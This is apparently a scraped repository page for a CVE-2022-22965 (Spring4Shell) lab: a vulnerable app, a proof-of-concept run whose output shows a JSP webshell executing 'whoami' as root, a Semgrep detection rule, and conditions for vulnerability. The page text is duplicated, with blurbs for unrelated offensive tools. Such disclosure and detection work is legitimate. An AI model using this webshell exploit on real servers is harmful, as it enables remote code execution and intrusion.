CVE-2022-22965 - CVE-2010-1622 redux

Last update: Aug 25, 2022

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

$ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py

Output example

rce
sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6
1a048e5725f754d331de9491d0750c4c7a163472dea1fd1554edccfd00d7f6e5
deploy <Response [200]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [500]>
webshell http://localhost:8080/tomcatwar.jsp?cmd=whoami
root

Identification with Semgrep

$ semgrep --config=semgrep-rule.yml .

Semgrep rule and test cases

Output example

Findings:

  src/main/java/com/example/demo/controller/IndexController.java
     cve-2022-22965
        Semgrep found a match


         14┆ @RequestMapping("/index")
         15┆ public void index(EvalBean evalBean) {
         16┆
         17┆ }

Ran 1 rule on 3 files: 1 finding.

Vulnerable app requirements¹

JDK 9 or above
Standalone Tomcat (no Embedded Tomcat) with WAR deployment
Any Spring version before 5.3.18 / 5.2.20 (Spring Boot before 2.5.12 / 2.6.6)
No blocklist on WebDataBinder / InitBinder
Parameter bind with POJOs directly (no @RequestBody, @RequestQuery, etc.)
Writeable file system (e.g webapps/ROOT)

Sources

Assuming exploits similar to the known PoCs. There might be other gadgets... ↩

CVE-2022-22965 - CVE-2010-1622 redux

Related tags

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

Output example

Identification with Semgrep

Output example

Vulnerable app requirements¹

Sources

Owner

Duarte Duarte

FBGen is simple facebook user based wordlist generator using Username/ID and cookie.

Analyse a forensic target (such as a directory) to find and report files found and not found from CIRCL hashlookup public service

Fuzzercorn - Bring libfuzzer to Unicorn

HTTP Protocol Stack Remote Code Execution Vulnerability CVE-2022-21907

Sqli-Scanner is a python3 script written to scan websites for SQL injection vulnerabilities

Aviatrix Controller 6.x before 6.5-1804.1922. Unrestricted upload of a file which allows an unauthenticated user to execute arbitrary code via directory traversal

Simple and easy framework for phishing 🎣

This is a repository filled with scripts that were made with Python, and designed to exploit computer systems.

Search Shodan for Minecraft server IPs to grief

Python tool for dumping flash via uboot reliably

🍯 16 honeypots in a single pypi package (DNS, HTTP Proxy, HTTP, HTTPS, SSH, POP3, IMAP, STMP, VNC, SMB, SOCKS5, Redis, TELNET, Postgres & MySQL)

Convert a collection of features to a fixed-dimensional matrix using the hashing trick.

This project is for finding a solution to use Security Onion Elastic data with Jupyter Notebooks.

CVE-2021-21972

一款针对向日葵的识别码和验证码提取工具

Glass是一款针对资产列表的快速指纹识别工具，通过调用Fofa/ZoomEye/Shodan/360等api接口

Trainspotting - Python Dependency Injector based on interface binding

Obfuscate your Python scripts better, faster.

Using python 3 and Flask an MVC system where the AES 128 CBC and Trivium algorithms

A fast sub domain brute tool for pentesters

CVE-2022-22965 - CVE-2010-1622 redux

Related tags

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

Output example

Identification with Semgrep

Output example

Vulnerable app requirements1

Sources

Footnotes

Owner

Duarte Duarte

FBGen is simple facebook user based wordlist generator using Username/ID and cookie.

Analyse a forensic target (such as a directory) to find and report files found and not found from CIRCL hashlookup public service

Fuzzercorn - Bring libfuzzer to Unicorn

HTTP Protocol Stack Remote Code Execution Vulnerability CVE-2022-21907

Sqli-Scanner is a python3 script written to scan websites for SQL injection vulnerabilities

Aviatrix Controller 6.x before 6.5-1804.1922. Unrestricted upload of a file which allows an unauthenticated user to execute arbitrary code via directory traversal

Simple and easy framework for phishing 🎣

This is a repository filled with scripts that were made with Python, and designed to exploit computer systems.

Search Shodan for Minecraft server IPs to grief

Python tool for dumping flash via uboot reliably

🍯 16 honeypots in a single pypi package (DNS, HTTP Proxy, HTTP, HTTPS, SSH, POP3, IMAP, STMP, VNC, SMB, SOCKS5, Redis, TELNET, Postgres & MySQL)

Convert a collection of features to a fixed-dimensional matrix using the hashing trick.

This project is for finding a solution to use Security Onion Elastic data with Jupyter Notebooks.

CVE-2021-21972

一款针对向日葵的识别码和验证码提取工具

Glass是一款针对资产列表的快速指纹识别工具，通过调用Fofa/ZoomEye/Shodan/360等api接口

Trainspotting - Python Dependency Injector based on interface binding

Obfuscate your Python scripts better, faster.

Using python 3 and Flask an MVC system where the AES 128 CBC and Trivium algorithms

A fast sub domain brute tool for pentesters

Vulnerable app requirements¹